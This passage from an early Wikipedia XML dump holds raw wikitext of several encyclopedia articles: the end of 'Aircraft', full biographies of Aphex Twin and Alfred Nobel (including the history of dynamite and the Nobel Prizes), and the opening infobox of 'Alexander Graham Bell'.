Some types of aircraft, such as the balloon or [[glider]], do not have any propulsion. Balloons drift with the wind, though normally the pilot can control the altitude either by heating the air or by releasing ballast, giving some directional control (since the wind direction changes with altitude).  For gliders, takeoff takes place from a high location, or the aircraft is pulled into the air by a ground-based winch or vehicle, or towed aloft by a powered &quot;tug&quot; aircraft.  [[Airship]]s combine a balloon's [[buoyancy]] with some kind of propulsion, usually [[propeller]] driven.

Until [[World War II]], the [[Internal combustion engine|internal combustion piston engine]] was virtually the only type of propulsion used for powered aircraft. (See also: [[Aircraft engine]].)  The piston engine is still used in the majority of aircraft produced, since it is efficient at the lower altitudes used by small aircraft, but the [[radial engine]] (with the cylinders arranged in a circle around the [[crankshaft]]) has largely given way to the [[horizontally-opposed engine]] (with the cylinders lined up on two sides of the crankshaft).  Water cooled [[V engine]]s, as used in automobiles, were common in high speed aircraft, until they were replaced by jet and turbine power.  Piston engines typically operate using [[avgas]] or regular gasoline, though some new ones are being designed to operate on diesel or jet fuel.  Piston engines normally become less efficient above 7,000-8,000 ft (2100-2400 m) above sea level because there is less oxygen available for combustion; to solve that problem, some piston engines have mechanically powered compressors (blowers) or turbine-powered [[turbocharger]]s or turbonormalizers that compress the air before feeding it into the engine; these piston engines can often operate efficiently at 20,000 ft (6100 m) above sea level or higher, altitudes that require the use of supplemental oxygen or cabin pressurisation. 
During the forties and especially following the [[1973 energy crisis]], development work was done on propellers with swept tips or even scimitar-shaped blades for use in high-speed commercial and military transports.

Pressurised aircraft, however, are more likely to use the [[turbine|turbine engine]], since it is naturally efficient at higher altitudes and can operate above 40,000 ft. Helicopters also typically use turbine engines.  In addition to turbine engines like the [[turboprop]] and [[jet engine|turbojet]], other types of high-altitude, high-performance engines have included the [[ramjet]] and the [[pulse jet]].  [[Rocket aircraft]] have occasionally been experimented with. They are restricted to rather specialised niches, such as [[spaceflight]], where no oxygen is available for combustion (rockets carry their own oxygen).

====By usage====
The major distinction in aircraft usage is between [[military aviation]], which includes all uses of aircraft for military purposes (such as combat, patrolling, search and rescue, reconnaissance, transport, and training), and [[civil aviation]], which includes all uses of aircraft for non-military purposes.  

=====[[Military aircraft]]=====
[[Image:4781.jpg|thumb|right|250px|A prototype of [[Hindustan Aeronautics]]' [[Light Combat Aircraft]].]]
Combat aircraft like fighters or bombers represent only a minority of the category.  Many civil aircraft have been produced in separate models for military use, such as the civil [[Douglas DC-3]] airliner, which became the military [[C-47]]/C-53/R4D transport in the U.S. military and the &quot;Dakota&quot; in the U.K. and the [[Commonwealth]].  Even the small fabric-covered two-seater [[Piper Cub|Piper J3 Cub]] had a military version, the L-4 liaison, observation and trainer aircraft.  In the past, gliders and balloons have also been used as military aircraft; for example, balloons were used for observation during the [[American Civil War]] and [[World War I]], and cargo gliders were used during [[World War II]] to land intruding German troops in a few European countries in the 1940-42 period, while Allied troops used them in landings on [[Sicily]] and [[Italy]], 1943, and in Western Europe [France and Holland] on [[D-Day]] (the [[Normandy]] 6 June 1944 [[Operation Overlord]] invasion) and in [[Operation Anvil-Dragoon]] (1944) and in [[Operation Market Garden]] (1944).  

Combat aircraft themselves, though used a handful of times for reconnaissance and [[surveillance aircraft|surveillance]] during the [[Italo-Turkish War]], did not come into widespread use until the [[Balkan War]] when [[first air-dropped bomb]] was invented and widely used by [[Bulgarian air force]] against [[Turkey]]. During [[World War I]] many types of aircraft were adapted for attacking the ground or enemy vehicles/ships/guns/aircraft, and the first aircraft designed as [[bomber]]s were born. In order to prevent the enemy from bombing, [[fighter aircraft]] were developed to intercept and shoot down enemy aircraft. [[Tanker (aircraft)|Tanker]]s were developed after [[World War II]] to refuel other aircraft in mid-air, thus increasing their operational range.  By the time of the [[Vietnam War]], [[helicopter]]s had come into widespread military use, especially for transporting, supplying, and supporting ground troops.

=====Civil aviation=====
[[image:heli.g-code.750pix.jpg|thumb|right|250px|[[Bell 206|Bell 206B JetRanger III]] '''[[helicopter]]''']]
Civil aviation includes both scheduled airline flights and [[general aviation]], a catch-all covering other kinds of private and commercial use.  The vast majority of flights flown around the world each day belong to the general aviation category, ranging from recreational balloon flying to civilian flight training to business trips to firefighting to medevac flights to cargo transportation on [[freight aircraft]].

Within general aviation, the major distinction is between private flights (where the pilot is not paid for time or expenses) and commercial flights (where the pilot is paid by a customer or employer).  Private pilots use aircraft primarily for personal travel, business travel, or recreation. Usually these private pilots own their own aircraft and take out loans from banks or specialized lenders to purchase them. Commercial general aviation pilots use aircraft for a wide range of tasks, such as flight training, pipeline surveying, passenger and freight transport, policing, crop dusting, and medical transport ([[medevac]]). Piston-powered propeller aircraft (single-engine or twin-engine) are especially common for both private and commercial general aviation, but even private pilots occasionally own and operate helicopters like the [[Bell 206|Bell JetRanger]] or turboprops like the [[Beechcraft King Air]]. Business jets are typically flown by commercial pilots, although there is a new generation of small jets arriving soon for private pilots.

== See also ==
{{Aviation portal}}
*[[List of aircraft by category]] 
*[[List of aircraft by date and usage category]] 
*[[List of civil aircraft]] 
*[[List of helicopter models]] 
*[[List of military aircraft]]
*[[List of notable aircraft]]
*[[List of World War II jet aircraft]] 
*[[List of aircraft engines]]
*[[List of aircraft engine manufacturers (alphabetical)]] 

*[[Aerial refuelling]]
*[[Aeronautics]]
*[[Aircraft carrier]]
*[[Aircraft spotting]]
*[[Airline call sign]]s
*[[Airliner]]
*[[Air safety]]
*[[Aviation]]
*[[Contrail]]
*[[First flying machine]]
*[[Flight controls]]
*[[Flight instruments]]
*[[Gliding]]
*[[Lifting body]]
*[[List of early flying machines]]
*[[Model aircraft]]
*[[Category:Notable Aircraft]]
*[[Richard Pearse]]
*[[Spacecraft propulsion]]
*[[Spacecraft]]
*[[Steam aircraft]]
*[[Successful aircraft types]]
*[[Undercarriage]]
*[[Wright brothers]]
*[[List of aviation, aerospace and aeronautical terms]]

==External links==
{{Wiktionary}}
{{commons|Aircraft}}

'''History'''
*[http://www.nasm.si.edu/ Smithsonian Air and Space Museum] - Excellent online collection with a particular focus on history of aircraft and spacecraft
*[http://invention.psychology.msstate.edu/Tale_of_Airplane/taleplane.html Virtual Museum]
*[http://www.centennialofflight.gov/essay/Prehistory/PH-OV.htm Prehistory of Powered Flight]
*[http://www.hq.nasa.gov/office/pao/History/SP-468/contents.htm The Evolution of Modern Aircraft (NASA)]
*[http://www.flightinternational.com/Articles/2005/12/20/203709/Clipped+wings.html On Aircraft never built (Flight Global)]
*[http://www.anythingplanes.net Aircraft community ]

'''Information'''
*[http://www.flightinternational.com Flight International]
*[http://www.aircraft-info.net Aircraft-Info.net]
*[http://www.airliners.net/info/ Airliners.net]
*[http://www.HomebuiltAircraft.com HomebuiltAircraft.com]- Information Portal about Homebuilt Aircraft
* [http://www.DefenceTalk.com Airforces ]
* [http://www.challoner.com/aviation/index.html Series of Photo Essays on British Aviation]
*[http://www.usenet-replayer.com/webrings/aviation.html Pictures of Aircraft] published on [[Usenet]]
* [http://www.sulman4paf.tk PAF Procedures and Information, Wallpapers, Picture Gallery, Updated News]

'''Patents'''
* US[http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=821393.WKU.&amp;OS=PN/821393&amp;RS=PN/821393 821393] -- ''Flying machine'' -- O. &amp; W. Wright

{{airlistbox}}

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Aircraft]]
[[Category:Aviation]]
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[[zh:飞机]]</text>
    </revision>
  </page>
  <page>
    <title>Aphex Twin</title>
    <id>850</id>
    <revision>
      <id>41236145</id>
      <timestamp>2006-02-25T23:52:17Z</timestamp>
      <contributor>
        <username>Keenan Pepper</username>
        <id>124371</id>
      </contributor>
      <comment>rv POV</comment>
      <text xml:space="preserve">{{Infobox Band |
  band_name         = Aphex Twin |
  years_active      = [[1991]] &amp;ndash; present |
  origin            = [[Cornwall, England |Cornwall]], [[United Kingdom]] |
  music_genre       = [[Intelligent dance music|IDM]], [[Drum and Bass]], [[Acid (electronic music)|Acid]], [[Ambient music|Ambient]], [[Prepared Piano]], [[Techno]] |
  image             = [[Image:Afx.jpg|250px]] |
  record_label      = [[Rephlex Records]] &lt;br /&gt; [[Warp Records]] |
  current_members   = Richard David James |
}}
{{redirect|Aphex|the audio signal processing equipment company|[[Aphex Systems]]}}
'''Aphex Twin''' (born '''Richard David James''', [[August 18]], [[1971]], [[Ireland]]) is a [[United Kingdom|UK]]-based [[electronic music]] artist, credited with pushing forward the genres of [[techno music|techno]], [[ambient music|ambient]],  [[Acid (electronic music)|acid]], and [[drum and bass]]. He has been described as &quot;the most inventive and influential figure in contemporary electronic music&quot; ([http://www.guardian.co.uk/friday_review/story/0,3605,563163,00.html]).

==Biography==
Richard David James was born to [[Wales|Welsh]] parents Lorna and Derek James in [[1971]] in [[Limerick, Ireland]]. James spent his childhood in [[Cornwall, United Kingdom]]. As a teenager, he became a [[DJ]] and [[musician]] on the local [[rave party|rave]] scene, taking on the [[moniker]] &quot;Aphex Twin&quot;. James formed the [[Rephlex Records]] label in [[1991]] with his friend [[Grant Wilson-Claridge]] and released his first records on this label, as well as [[Mighty Force]] and [[R&amp;S Records]] of [[Belgium]]. After success with his early work, James relocated to [[London]] and released a slew of albums and [[EP (format)|EPs]] on the [[Warp Records]] label, under a bewildering set of aliases (from AFX and Polygon Window to the lesser known Gak and Power Pill). 

In [[1996]], he began releasing more material composed on computers, and embraced a more [[drum and bass]] sound mixed with a nostalgic childhood theme and strange computer generated acid lines. The early adoption of [[Native Instruments]]' softsynthesizers predated the later popularity of using computers to make music. The late 1990s saw his music become more popular and mainstream, as he released two singles, &quot;Come to Daddy&quot;, and &quot;Windowlicker&quot;, which were shown on [[MTV]] and the covers of music magazines including [[NME]]. 

[[Image:Aphex Twin logo.png|frame|right|The Aphex Twin Logo, present on most Aphex Twin/AFX releases.]]

In [[2001]] Aphex Twin released his most personal album yet, ''[[drukqs]]'', a 2-CD album which featured [[prepared piano]] songs under the influence of [[Erik Satie]] and [[John Cage]]. Also included were abrasive, fast, and meticulously programmed computer-made songs. The level of detail and artistry was so high, that reviewers and fans complained that the music was less in the style of innovative pop music, and more about detailed beautiful and personal musical art.  ''[[drukqs]]'' is perhaps Richard's most controversial album to date; the album lacked the novelty found in his other albums, so reviewers guessed this album was released as a contract breaker with Warp Records - a credible guess, as James' next big release came out on his own Rephlex label. It is also rumored that the album drukqs was released as it was because he had almost all of these songs on a creative jukebox that he forgot and left on a plane, and in fear of all of the tracks being leaked to the internet, its release was rushed as to avoid this.

In late 2004, rumours of James' return to a more [[acid techno]] based sound were realised with the ''[[Analord]]'' series. For these records, James used his extensive collection of [[Roland Corporation|Roland]] [[drum machine]]s which he bought when they were still at bargain prices. Also he used one of the rarest, and most desirable [[synthesizer]]s of his generation, the [http://www.soundonsound.com/sos/feb99/articles/syntonfenix883.htm Synton Fenix], and the notoriously difficult to program [[Roland MC-4]] [[sequencer]] (a sequencer with a reputation for excellent timing), as well as the infamous [[Roland TB-303]] for his trademark acid melodies.

Apart from music, Richard D. James is a talented [[photography|photographer]], having done his own artwork direction for many of his albums. On the &quot;Windowlicker&quot; single, James hid a picture of his face (created most likely with [http://www.uisoftware.com/MetaSynth/index.html Metasynth]) in the second track (commonly referred to as &quot;[Formula]&quot;, &quot;[Symbol]&quot;, or &quot;[Equation]&quot;), which can be seen in a [http://www.wired.com/news/culture/0,1284,52426,00.html spectral] [http://www.bastwood.com/aphex.php analysis] of the track. The picture illustrates his famous toothy, evil grin.

===Aphex Twin's influences===

James has stated in numerous interviews that he has no musical influences other than himself. [http://www.guardian.co.uk/friday_review/story/0,3605,563163,00.html] He claims to have listened rarely to songs on the [[radio]] as a child and that he is unable to read [[Musical notation|sheet music]].

Conversely, James has said that he has listened to many bands and artists for inspiration and sampling (notably [[Pink Floyd]] and [[Led Zeppelin]] for their [[Break (music)|breaks]] (used as break beats), but he has also expressed appreciation for [[The Fall (band)|The Fall]]). He signed fellow musicans and personal friends Tom &quot;[[Squarepusher]]&quot; Jenkinson and Mike Paradinas ([[µ-ziq]]) to his [[Rephlex Records|Rephlex]] record label, as well as [[Luke Vibert]].

Other debated influences include:

&lt;!--Please keep list alphabetical--&gt;
* [[808 State]] for whom he has done remix work.
* [[John Cage]] and his [[prepared piano]] technique (itself inspired by [[Henry Cowell]] and [[Erik Satie]] independently) in the piano pieces on ''Drukqs''
* [[Coil (band)|Coil]]
* [[Tod Dockstader]] An electronic musician who worked with tape, mangling sounds into music of the frequency and dynamics spectrum.
* [[Mike Dred]]  Acid Techno pioneer and [[Techno]] [[Electroacoustic]] hybrid pioneer (together with Peter Green) on Dred's &quot;Machine Codes&quot; label.  James is quoted as saying that he listened to Dred &amp; Green's ''Virtual Farmer'' LP 21 times in a row when he first heard it.
* [[Brian Eno]] pioneer of ambient music, and for the artwork of his ambient records.
* [[Larry Heard]] (One song on ''Analord 02'' is called Laricheard, an obvious [[pun]] on the names Larry Heard and Richard, as the song resembles Mr. Fingers/Larry Heard track &quot;Amnesia&quot;.)
* [[Kraftwerk]] and their electropop styles.
* Kevin 'Master Reese' Saunderson
* [[Derrick May]] Techno pioneer.
* [[Joe Meek]], especially ''I Heard A New World'' album of this pioneering 1960s UK producer.
* [[Erik Satie]] whose melodic style was borrowed on ''Drukqs''.
* [[Squarepusher]] and [[Luke Vibert]] for their extreme versions of drum and bass.

===Influence of Aphex Twin on others===
Fans and journalists coined the genre names [[intelligent dance music|IDM]] and [[drill and bass]] to describe Aphex Twin's novel approach to dance music. Richard's own Rephlex Records label, which he co-owns with [[Grant Wilson-Claridge]] prefers the term &quot;Braindance&quot;.

These labels have proven useful for upcoming artists looking to find a genre name for their own music, influenced by Aphex Twin and Warp Records. In Aphex Twin's words on the 'Intelligent Dance Music' label: &quot;I just think it's really funny to have terms like that. It's basically saying 'this is intelligent and everything else is stupid.' It's really nasty to everyone else's music. (laughs) It makes me laugh, things like that. I don't use names. I just say that I like something or I don't.&quot;

Aphex Twin tends to distance himself from rock/pop music, yet he has still had an influence on the rock bands like  [[Radiohead]], [[Nine Inch Nails]] and [[Peace Burial at Sea]]. Aphex Twin dismissed going on tour with Radiohead: &quot;I wouldn't play with them since I don't like them.&quot;[http://www.kludgemagazine.com/interviews.php?id=82]

==Aphex Twin's press==
Aphex Twin press interviews are generally entertaining, eccentric, and confusing. 

Aphex Twin has a reputation for lying in interviews, which he has [http://www.guardian.co.uk/friday_review/story/0,3605,563163,00.html admitted] to the Guardian newspaper. It is now been confirmed that Richard does own a tank (actually a 1950s armoured scout car, the [[Daimler]] Ferret Mark 3), a [[submarine]] bought from Russia, composing ambient techno at age 13 (contradicting most music history), having &quot;over 100 hours&quot; of unreleased music (including songs on his [[answering machine]] that could be wiped away by leaving a message), being able to incorporate [[lucid dreaming]] into the process of making music.
He lives in a converted bank in SE16 London, which was formerly the Bank of Cyprus and then HSBC.

It has now been confirmed by Richard`s close friends that he has built his own synthesizers and samplers from scratch in his early years. Richard once built a sampler box for his degree in microelectronics, and a photograph and article of it was taken for a UK electronic music magazine Future music. Richard is experienced in electronics and electricity, and has modified and [[circuit bending|circuit bent]] his equipment from a young age.

He has made his own software to compose with, including algorithmic processes which automatically generate beats and melodies.

[[Image:Richard_d_james_album_cover.jpg|frame|right|The cover to the ''[[Richard D. James Album]]''.]]

== Discography under Aphex Twin ==
===Albums===
* ''[[Selected Ambient Works 85-92]]'' ([[1992]])
* ''[[Selected Ambient Works Volume II]]'' ([[1994]]) 
* ''[[I Care Because You Do|...I Care Because You Do]]'' ([[1995]])
* ''[[Richard D. James Album]]'' ([[1996]])
* ''[[Drukqs]]'' ([[2001]])
* ''[[Analord|Chosen Lords]]'' ([[2006]])

===EPs and Singles===
* ''[[Digeridoo (single)|Digeridoo]]'' ([[1992]])
* ''[[Xylem Tube EP]]'' ([[1992]])
* ''[[On]]/On Remixes'' ([[1993]])
* ''[[Ventolin (music)|Ventolin]]/Ventolin Remixes'' [[EP (format)|EP]] ([[1995]])
* ''[[Donkey Rhubarb (single)|Donkey Rhubarb]]'' ([[1995]])
* ''[[Girl/Boy EP]]'' (1996)
* ''[[Come to Daddy]] [[EP (format)|EP]]'' ([[1997]])
* ''[[Windowlicker]]'' ([[1999]])
* ''Analord 10'' in the ''[[Analord]]'' Series (2004)

===Promos and Compilations===
* ''Words &amp; Music'' (1994) (Interview and tracks from ''[[Selected Ambient Works Volume II]]'')
* ''[[Classics (Aphex Twin album)|Classics]]'' (1995) (Compilation of early singles, rare and live tracks)
* ''51/13 Singles Collection'' (1996) ([[Australia]] and [[Japan]] -only release)
* ''Cock 10/54 Cymru beats'' ([[drukqs]] promo)
* ''[[26 Mixes for Cash]]'' ([[2003]]), Compilation of material &quot;remixed&quot; for other artists (plus four original tracks)
* ''2 Mixes on a 12&quot; for Cash'' (2003), a ''[[26 Mixes for Cash|26 Mixes]]'' promo
* ''Falling Free, Curve Remix'' (2005), a ''[[26 Mixes for Cash|26 Mixes]]'' LP

== Discography under various aliases ==
'''AFX'''
* ''[[Analogue Bubblebath]]'' ([[1991]])
* ''[[Analogue Bubblebath 2]]'' (1992)
* ''[[Analogue Bubblebath 3]]'' ([[1993]])
* ''[[Analogue Bubblebath 4]]'' (1994)
* ''[[Analogue Bubblebath 5]]'' (1995 unreleased)
* ''[[Analogue Bubblebath 3.1]]'' (1997)
* ''[[Hangable Auto Bulb]]'' (1995 EP, 2005 CD)
* ''[[Hangable Auto Bulb|Hangable Auto Bulb 2]]'' (1995 EP, 2005 CD)
* ''2 Remixes By AFX'' (2001)
* ''Smojphace EP'' (2003)
* &quot;Mangle 11 (Circuit Bent V.I.P. Mix)&quot; (appears on ''Rephlexions'' compilation album (2003))
* ''[[Analord]]'' (EP series, mostly as AFX) (2005)
* ''AFX/[[LFO (British group)|LFO]]'' (split 12&quot; between AFX/LFO) (2005) &lt;!--http://www.warprecords.com/?mart=WAP195--&gt;

'''Bradley Strider'''
* ''Bradley's Beat'' (1991)/(1995 re-issue)
* ''Bradley's Robot'' (1993)

'''Caustic Window'''
* ''Joyrex J4'' (1992)
* ''Joyrex J5'' (1992)
* ''Joyrex J9'' (1993)
* ''CAT 023'' (unreleased, only 4 copies pressed)
* ''[[Compilation (album)|Compilation]]'' ([[1998]])

'''Gak'''
* ''GAK'' (1994)

'''[[Universal Indicator (music)|Universal Indicator]]''' series with [[Mike Dred]]:
* Universal Indicator: ''Red'' ([[1992]])
* Universal Indicator: ''Green'' ([[1993]])
* Universal Indicator &quot;Blue&quot; ([[1992]]) &amp; &quot;Yellow&quot; ([[1992]]) are by [[Mike Dred]]

'''Polygon Window'''
* ''[[(Surfing On Sine Waves)]]'' (1993, re-released 2001)
* ''(Quoth)'' (1993)

'''Power Pill'''
* ''Pac-Man'' (1992)

'''Q-Chastic'''
* ''Q-Chastic EP'' (1992 unreleased)

'''Various others'''
* ''[[Melodies From Mars]]'' (1995, this is an unreleased RDJ album that was given to friends at Rephlex and Warp Records on C-90 cassettes)  This release supposedly includes selections from over 200 tracks James offered video game companies to use as soundtracks.
* With [[Squarepusher]], contributed &quot;Freeman Hardy &amp; Willis Acid&quot; to the [[Warp Records|Warp]] compilation ''WAP100''.
* As &quot;Rich&quot; of &quot;Mike and Rich&quot; on the album ''[[Mike &amp; Rich]]'' (&quot;Mike&quot; being [[Mike Paradinas]], also known as ''µ-ziq'')
* A remixed version of ''afx237 v7'' from the album ''drukqs'' was used as the soundtrack to the short film &quot;[[Rubber Johnny]]&quot;, directed by [[Chris Cunningham]].
* The AFX logo was featured in the video games '[[Worms Armageddon]]' and '[[Worms World Party]]'.
* &quot;The Diceman&quot; - Polygon Window (Track 1) - Artificial Intelligence - (Warp 6) - Compilation released by Warp Records in 1992
* ''[[Acoustica: Alarm Will Sound Performs Aphex Twin]]'' (2005), performed by [[Alarm Will Sound]]

== See also ==
* [[Snare Rush]]
* [[Rephlex Records]]
* [[Warp Records]]

== External links ==
* [http://xltronic.com/discography/artist/1/aphex-twin Complete Aphex Twin discography] at xltronic.com
* [http://xltronic.com/nostalgia/aphextwin.nu/v4/ The Aphex Twin Community] at xltronic.com
* [http://www.discogs.com/artist/Aphex+Twin Aphex Twin discography] at [[Discogs]]
* [http://cl4.org/music/lyrics/aphex.php Complete Aphex Twin lyrics] at CL4.org
* [http://dmoz.org/Arts/Music/Bands_and_Artists/A/Aphex_Twin/ Aphex Twin links] at [[Open Directory Project]]
* [http://www.bastwood.com/aphex.php The Aphex Face] - [[spectrogram]] screenshots of spectral analyses, including that of &quot;Windowlicker&quot;

[[Category:Electronic musicians|Aphex Twin]]
[[Category:IDM musicians|Aphex Twin]]
[[Category:Remixers|Aphex Twin]]
[[Category:Cornish people]]
[[Category:1971 births|Aphex Twin]]
[[Category:Living people|Aphex Twin]]

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    </revision>
  </page>
  <page>
    <title>Alfred Nobel</title>
    <id>851</id>
    <revision>
      <id>41383827</id>
      <timestamp>2006-02-26T23:55:10Z</timestamp>
      <contributor>
        <ip>68.0.192.101</ip>
      </contributor>
      <comment>/* Personal background */</comment>
      <text xml:space="preserve">[[Image:AlfredNobel.jpg|thumb|200px|Alfred Nobel]]

{{Audio|sv-Alfred_Nobel.ogg|'''Alfred Bernhard Nobel'''}} ([[October 21]], [[1833]], [[Stockholm]], [[Sweden]] &amp;ndash; [[December 10]], [[1896]], [[San Remo, Italy]]) was a [[Sweden|Swedish]]  chemist, engineer, pacifist, innovator, armaments manufacturer and the [[inventor]] of [[dynamite]]. He owned [[Bofors]], a major armaments manufacturer, that he had redirected from its previous role as an iron and steel mill. In his last will, he used his enormous fortune to institute the [[Nobel Prize]]s. The [[synthetic element]] [[Nobelium]] was named after him.

==Personal background==
Alfred Nobel, a descendant of the 17th century scientist, [[Olaus Rudbeck]] (1630-1702), was the third son of [[Immanuel Nobel]] (1801-1872). Born in [[Stockholm]], he went with his family at an early age to [[Saint Petersburg|St. Petersburg]], where his father (who had invented modern [[plywood]]) started a [[naval mine|&quot;torpedo&quot;]] works. In 1859 this was left to the care of the second son, [[Ludvig Nobel|Ludvig Emmanuel]] (1831-1888), by whom it was greatly enlarged, and Alfred, returning to Sweden with his father after the bankruptcy of their family business, devoted himself to the study of [[explosives]], and especially to the safe manufacture and use of [[nitroglycerine]] (discovered in 1847 by [[Ascanio Sobrero]], one of his  fellow-students under [[Théophile-Jules Pelouze]] at the [[University of Torino]]). Several explosions were reported at their family-owned factory in [[Heleneborg, Sweden|Heleneborg]], and a disastrous one in 1864 killed Alfred's younger brother Emil and several other workers.

Less well known is that Alfred Nobel was also a playwright. His only play, ''[[Nemesis (Nobel)|Nemesis]]'', a prose tragedy in four acts about [[Beatrice Cenci]], partly inspired by [[Percy Bysshe Shelley]]'s blank verse tragedy in five acts [[The Cenci]], was printed when he was dying, and the whole stock except for three copies was destroyed immediately after his death, being regarded as scandalous and blasphemous. The first surviving edition (bilingual Swedish-[[Esperanto]]) was published in Sweden in 2003. The play has not yet (May 2003) been translated into any language other than Esperanto. 

Alfred Nobel is buried in the [[Norra begravningsplatsen]] in [[Stockholm]].

== Dynamite ==
Nobel found that when [[nitroglycerin]] was incorporated in an absorbent inert substance like [[diatomaceous earth|kieselguhr]] (diatomaceous earth) it became safer and more convenient to manipulate, and this mixture he [[patent]]ed in 1867 as [[dynamite]]. 

He next combined nitroglycerin with another high explosive, [[gun-cotton]], and obtained a transparent, jelly-like substance, which was a still more powerful explosive than dynamite. [[Gelignite|Blasting gelatin]], as it was called, was patented in 1876, and was followed by a host of similar combinations, modified by the addition of [[potassium nitrate]], wood-pulp and various other substances. 

Some years later Nobel produced [[ballistite]], one of the earliest of the nitroglycerin [[smokeless gunpowder]]s, containing in its latest forms about equal parts of gun-cotton and nitroglycerin. This powder was a precursor of [[cordite]], and Nobel's claim that his patent covered the latter was the occasion of vigorously contested law-suits between him and the [[United Kingdom|British]] Government in 1894 and 1895. Cordite also consists of nitroglycerin and gun-cotton, but the form of the latter which its inventors wished to use was the most highly nitrated variety, which is not soluble in mixtures of [[diethyl ether|ether]] and [[ethanol|alcohol]], whereas Nobel contemplated using a less nitrated form, which is soluble in such mixtures. The question was complicated by the fact that it is in practice impossible to prepare either of these two forms without admixture of the other; eventually the courts decided against Nobel. Cordite became a mainstay munition of the British empire throughout the late 19th and early 20th century.

From the manufacture of dynamite and other explosives, and from the exploitation of the [[Baky|Baku]] oil-fields, in the development of which he and his brothers, Ludvig and Robert Hjalmar (1829-1896), took a leading part, he amassed an immense fortune.

==Armaments Manufacturer==
A less well remembered aspect of his life was his role in setting up a major armaments manufacturer, [[Bofors]] Defence AB. He was Bofors most famous owner, and owned the company from 1894 until his death in December of 1896. He had the key role in reshaping this iron manufacturer to a modern cannon manufacturer and chemical industry.

Bofors went on to become a major supplier of howitzers, cannons and field guns to armies around the world, including the USA and many Third-World dictatorships.

== The Prizes ==

The erroneous publication in 1888 of a [[List of premature obituaries|premature obituary]] of Nobel by a French newspaper, condemning his invention of dynamite, is said to have made him decide to leave a better legacy to the world after his death.

On [[November 27]], [[1895]] at the Swedish-Norwegian Club in [[Paris]], Nobel signed his last will and testament and set aside the bulk of his estate to establish the [[Nobel Prize]]s, to be awarded annually without distinction of nationality. He died of a [[stroke]] on [[December 10]], [[1896]] at [[San Remo]], [[Italy]].  The amount set aside for the Nobel Prize foundation was 31 million kronor.

The first three of these prizes are for eminence in [[Nobel Prize in Physics|physical science]], in [[Nobel Prize in Chemistry|chemistry]] and in [[Nobel Prize in Physiology or Medicine|medical science or physiology]]; the fourth is for the most remarkable [[Nobel Prize for Literature|literary work]] &quot;in an ideal direction&quot; and [[Nobel Peace Prize|the fifth]] is to be given to the person or society that renders the greatest service to the cause of international brother/sisterhood, in the suppression or reduction of standing armies, or in the establishment or furtherance of [[peace]] congresses.

The formulation about the literary prize, &quot;in an ideal direction&quot; (Swedish ''i idealisk riktning''), is cryptic and has caused much consternation. For many years, the Swedish Academy interpreted &quot;ideal&quot; as &quot;idealistic&quot; (in Swedish ''idealistisk''), and used it as a pretext to not give the prize to important but less [[Romanticism|romantic]] authors, such as [[Henrik Ibsen]], [[August Strindberg]] and [[Leo Tolstoy]]. This interpretation has been revised, and the prize given to, for example, [[Dario Fo]] and [[José Saramago]], who definitely do not belong to the camp of literary idealism.

When reading ''Nemesis'' in its original Swedish and looking at his own philosophical and literary standpoint, it seems possible that his intention might have been rather the opposite of that first believed - that the prize should be given to authors who fight for their ideals ''against'' such authorities as God, Church and State.

There was also quite a lot of room for interpretation by the bodies he had named for deciding on the physical sciences and chemistry prizes, given that he had not consulted them before making the will. In his one-page testament he stipulated that the money should go to discoveries or inventions in the physical sciences and to discoveries or improvements in chemistry. He had opened the door to technological awards, but he had not left instructions on how to do the split between science and technology.  Since the deciding bodies he had chosen in these domains were more concerned with science than technology it is not surprising that the prizes went to scientists and not to engineers, technicians or other inventors.  In a sense the technological prizes announced recently by the [[World Technology Network]] are an indirect (and thus not funded by the Nobel foundation) continuation of the wishes of Nobel, as he set them out in his testament.

In 2001, his great-grandnephew, Peter, asked the Bank of Sweden to differentiate its award to economists given &quot;in Alfred Nobel's memory&quot; from the five other awards.  This has caused much controversy whether the prize for [[Economics]] is actually a &quot;Nobel Prize&quot; (see [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel]]).

==Nobel Prize rumors==
* There is no Nobel Prize for mathematics. A common legend states that Nobel decided against a prize in mathematics because a woman he proposed to (or his wife, or his mistress) rejected him or cheated on him with a famous mathematician, often claimed to be [[Gösta Mittag-Leffler]]. There is no historical evidence to support the story, and Nobel was never married.

== References ==
*[[1911 Encyclopædia Britannica]]
* Schück, H, and Sohlman, R., (1929). The Life of Alfred Nobel. London: William Heineman Ltd.
* [http://www.dprix.com/biblio/nobel/nobel.html Alfred Nobel US Patent No 78,317, dated May 26, 1868]

== External links ==
*[http://www.nobel.se/nobel/alfred-nobel/index.html Alfred Nobel - Man behind the Prizes]
*[http://www.nobel.no/eng_com_will1.html Biography at the Norwegian Nobel Institute]
*[http://nobelprize.org// Nobelprize.org]
*[http://www.chabad.org/article.asp?AID=271383 The Man who Changed his Life after Reading his Obituary]

{{NobelPrizes}}

[[Category:1833 births|Nobel, Alfred]]
[[Category:1896 deaths|Nobel, Alfred]]
[[Category:Swedish inventors|Nobel, Alfred]]
[[Category:Swedish businesspeople|Nobel, Alfred]]
[[Category:Nobel Prize|Nobel, Alfred]]
[[Category:Stockholmians|Nobel, Alfred]]
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    </revision>
  </page>
  <page>
    <title>Alexander Graham Bell</title>
    <id>852</id>
    <revision>
      <id>42085266</id>
      <timestamp>2006-03-03T18:56:34Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/38.139.36.119|38.139.36.119]] ([[User talk:38.139.36.119|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">{{Infobox Celebrity
| name        = Alexander Graham Bell
| image       = Alexander Graham Bell.jpg
| caption     = 
| birth_date  = [[March 3]], [[1847]]
| birth_place = [[Edinburgh]], [[Scotland]]
| death_date  = [[August 2]], [[1922]]
| death_place = [[Baddeck, Nova Scotia|Baddeck]], [[Canada]]
| occupation  = [[Scientist]] and [[inventor]].
| salary      = 
| networth    = 
| website     =
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}}
